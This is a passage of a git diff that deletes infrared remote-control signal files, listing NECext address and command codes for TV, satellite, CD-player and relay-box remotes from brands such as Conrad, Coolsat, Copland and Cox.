-# -name: KEY_TV -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 25 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 26 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 47 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 48 00 00 00 -# -name: Picture -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 49 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 4A 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 50 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5A 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5E 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Conrad/Unknown_006/56,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Conrad/Unknown_006/56,-1.ir deleted file mode 100644 index 97f22ed9f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Conrad/Unknown_006/56,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0A 00 00 00 -# -name: TELETEX_MIX -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0B 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0C 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 15 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 16 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 17 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 18 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 1C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 1D 00 00 00 -# -name: TELETEX_ON -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 46 00 00 00 -# -name: TELETEX_OFF -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 46 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 49 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 4A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 4B 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 4C 00 00 00 -# -name: TELETEX_HOLD -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 4E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Conrad/Unknown_Promo8/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Conrad/Unknown_Promo8/0,-1.ir deleted file mode 100644 index 0c40ecd1d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Conrad/Unknown_Promo8/0,-1.ir +++ /dev/null @@ -1,386 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: FastRew -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6C 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Contour/Unknown_Contour25/65,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Contour/Unknown_Contour25/65,0.ir deleted file mode 100644 index 8e033a2bd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Contour/Unknown_Contour25/65,0.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 00 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 01 00 00 00 -# -name: VOLUME_R -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 02 00 00 00 -# -name: VOLUME_L -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 03 00 00 00 -# -name: BALANCE_L -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 04 00 00 00 -# -name: BALANCE_R -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 05 00 00 00 -# -name: AUDIO_RESET -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 08 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 09 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 0A 00 00 00 -# -name: TRACK_L -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 0B 00 00 00 -# -name: TRACK_R -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 0C 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 0D 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 0E 00 00 00 -# -name: MANUAL -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 11 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 12 00 00 00 -# -name: TUNING_R -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 13 00 00 00 -# -name: TUNING_L -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 14 00 00 00 -# -name: PRESET_STEP -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 17 00 00 00 -# -name: FM/MPX -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 18 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 19 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 1A 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 1B 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 1C 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 1D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cool Sat/Satellite/64,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cool Sat/Satellite/64,64.ir deleted file mode 100644 index e6b3e02b7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cool Sat/Satellite/64,64.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0A 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0B 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0C 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0D 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0D 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0E 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 10 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 11 00 00 00 -# -name: FUNC -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 13 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 14 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 15 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 16 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 17 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 18 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 19 00 00 00 -# -name: EPG -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1A 00 00 00 -# -name: A/V -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1B 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1C 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1F 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 30 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 31 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 32 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 33 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 35 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 36 00 00 00 -# -name: MARK -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 39 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 3A 00 00 00 -# -name: * -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 3B 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 40 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 41 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 42 00 00 00 -# -name: A-Z -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 44 00 00 00 -# -name: OPT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 47 00 00 00 -# -name: PAGE_DWN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 4B 00 00 00 -# -name: PAGE_UO -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 4E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Coolsat/Unknown_Pro/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Coolsat/Unknown_Pro/1,-1.ir deleted file mode 100644 index 7b07001cb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Coolsat/Unknown_Pro/1,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: TVRADIO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: DoubleDown -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: TVSAT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1D 00 00 00 -# -name: DoubleUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1E 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 41 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 42 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 47 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Copland/CD Player/128,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Copland/CD Player/128,114.ir deleted file mode 100644 index 343f102f2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Copland/CD Player/128,114.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 00 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 04 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 05 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 06 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 07 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 08 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 09 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 0A 00 00 00 -# -name: SPACE -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 0B 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 0C 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 0D 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 0E 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 0F 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 10 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 11 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 12 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 13 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 14 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 15 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 17 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 18 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 19 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 1A 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 1B 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 1C 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 1D 00 00 00 -# -name: INDEX_>> -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 1E 00 00 00 -# -name: INDEX_<< -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 1F 00 00 00 -# -name: INTRO_SCAN -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 40 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 80 72 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Copland/CD Player/129,49.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Copland/CD Player/129,49.ir deleted file mode 100644 index 52703b30d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Copland/CD Player/129,49.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AUX2 -type: parsed -protocol: NECext -address: 81 31 00 00 -command: 0F 00 00 00 -# -name: AUX1 -type: parsed -protocol: NECext -address: 81 31 00 00 -command: 10 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 81 31 00 00 -command: 11 00 00 00 -# -name: RIAA -type: parsed -protocol: NECext -address: 81 31 00 00 -command: 12 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 81 31 00 00 -command: 13 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 81 31 00 00 -command: 18 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 81 31 00 00 -command: 4B 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 81 31 00 00 -command: 4C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Corvo/Relaybox/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Corvo/Relaybox/27,-1.ir deleted file mode 100644 index 8bb42560a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Corvo/Relaybox/27,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: RELAY_8 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 00 00 00 00 -# -name: RELAY_1 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 01 00 00 00 -# -name: RELAY_2 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 02 00 00 00 -# -name: RELAY_3 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 03 00 00 00 -# -name: RELAY_4 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 04 00 00 00 -# -name: RELAY_5 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 05 00 00 00 -# -name: RELAY_6 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 06 00 00 00 -# -name: RELAY_7 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 07 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cox/Digital Cable/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cox/Digital Cable/0,-1.ir deleted file mode 100644 index c58113a3c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cox/Digital Cable/0,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: PPV_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 